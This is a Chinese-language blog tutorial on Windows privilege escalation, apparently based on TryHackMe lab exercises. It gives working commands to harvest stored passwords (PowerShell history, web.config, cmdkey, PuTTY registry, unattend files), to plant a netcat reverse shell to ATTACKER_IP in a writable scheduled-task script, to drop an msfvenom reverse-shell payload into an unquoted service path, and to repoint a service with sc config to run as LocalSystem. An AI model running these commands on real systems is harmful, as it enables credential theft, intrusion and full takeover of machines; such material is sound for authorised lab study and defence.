Windows提权

一:从常用地点收集密码

1.查看powershell历史

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

2.查看IIS配置文件web.config

type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString

3.利用windows凭据上保存的密码:

cmdkey /list

runas /savecred /user:admin cmd.exe

4从软件检索凭证:PuTTY

reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s

5## 无人值守的 Windows 安装

此类安装需要使用管理员帐户来执行初始设置,该设置最终可能存储在计算机中的以下位置:

- C:\Unattend.xml

- C:\Windows\Panther\Unattend.xml

- C:\Windows\Panther\Unattend\Unattend.xml

- C:\Windows\system32\sysprep.inf

- C:\Windows\system32\sysprep\sysprep.xml

- 此类安装需要使用管理员帐户来执行初始设置,该设置最终可能存储在计算机中的以下位置:

- C:\Unattend.xml

- C:\Windows\Panther\Unattend.xml

- C:\Windows\Panther\Unattend\Unattend.xml

- C:\Windows\system32\sysprep.inf

- C:\Windows\system32\sysprep\sysprep.xml

二:利用计划任务

可以使用不带任何选项的 `schtasks` 命令从命令行列出计划任务

要查询指定任务的详细信息可以用下面命令

schtasks /query /tn vulntask /fo list /v

 使用icacls检查可执行文件的权限

 icacls c:\tasks\schtask.bat

 如下:

 c:\tasks\schtask.bat NT AUTHORITY\SYSTEM:(I)(F) BUILTIN\Administrators:(I)(F) BUILTIN\Users:(I)(F)

(F)表示具有完全访问权限

向任务计划中添加任务

 echo c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4444 > C:\tasks\schtask.bat

下次运行计划任务时,就应该会收到具有taskusr1权限的反向shell

手动执行任务schtasks /run /tn vulntask

三.滥用服务错误配置

Windows 服务由服务控制管理器 (SCM) 管理。 SCM 是一个负责根据需要管理服务状态、检查任何给定服务的当前状态并通常提供配置服务的方法的进程,Windows 计算机上的每个服务都有一个关联的可执行文件,每当服务启动时,SCM 都会运行该可执行文件。

所有服务配置都存储在注册表中的 `HKLM\SYSTEM\CurrentControlSet\Services\` 下:

 如果与服务关联的可执行文件的权限较弱,允许攻击者修改或替换它,则攻击者可以轻松获得该服务帐户的权限。

 首先,我们将使用 `sc` 查询服务配置:为了了解其工作原理,让我们看一下 Splinterware System Scheduler 上发现的漏洞

 sc qc WindowsScheduler

 我们可以看到漏洞软件安装的服务以 svcuser1 身份运行,与该服务关联的可执行文件位于 `C:\Progra~2\System~1\WService.exe` 中。然后我们继续检查可执行文件的权限:

 Everyone 组对服务的可执行文件具有修改权限 (M),这意味着我们可以简单地用我们偏好的任何有效负载覆盖它,并且该服务将使用配置的用户帐户的权限执行它。

四.未加引号的服务路径

正常路径

BINARY_PATH_NAME : "C:\Program Files\RealVNC\VNC Server\vncserver.exe" -service

未加引号路径

BINARY_PATH_NAME : C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe

当路径未加引号时,由于空格常用作参数分隔符,SCM会按顺序搜索可执行文件

1C:\\MyPrograms\\Disk.exe

2 C:\\MyPrograms\\Disk Sorter.exe

3C:\\MyPrograms\\Disk Sorter Enterprise\\bin\\disksrs.exe

检查目录权限icacls c:\MyPrograms  发现允许用户创建子目录和文件。

将msfvenom生成的payload  (msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe-service -o rev-svc.exe)

移动到C:\\MyPrograms\\Disk.exe 

即可生成反向shell,并且具有该服务配置的用户权限

五 ## 不安全的服务权限

如果服务的可执行 DACL 配置良好,并且正确引用了服务的二进制路径,那么您仍然有机会利用该服务。如果服务 DACL(不是服务的可执行 DACL)允许您修改服务的配置,您将能够重新配置该服务。这将允许您指向所需的任何可执行文件并使用您喜欢的任何帐户运行它,包括 SYSTEM 本身。

可以借助 Sysinternals 套件中的 Accesschk

检查thmservice的命令是

C:\tools\AccessChk> accesschk64.exe -qlc thmservice

这里我们可以看到 `BUILTIN\\Users` 组拥有SERVICE_ALL_ACCESS权限,这意味着任何用户都可以重新配置服务。

然后,我们将反向 shell 可执行文件传输到目标机器

授予每个人执行您的有效负载的权限

icacls C:\Users\thm-unpriv\rev-svc3.exe /grant Everyone:F

更改服务关联的可执行文件和帐户,我们可以使用以下命令

sc config THMService binPath= "C:\Users\thm-unpriv\rev-svc3.exe" obj= LocalSystem

然后重启服务即可在攻击机上收到反弹shell

C:\> sc stop THMService

C:\> sc start THMService

 六 滥用危险特权:

 权限是帐户执行特定系统相关任务所拥有的权利,每个用户都有一组分配的权限,可以使用以下命令进行检查:

whoami /priv

可以在 Priv2Admin Github 项目上找到可利用权限的完整列表  网址如下

https://github.com/gtworek/Priv2Admin

七 滥用易受攻击的软件

下面的命令将转储它可以在已安装的软件上收集的信息

wmic product get name,version,vendor

一旦我们收集了产品版本信息,我们就可以随时在exploit-db、packetstorm或者google搜索现有漏洞

  • 42
    点赞
  • 35
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值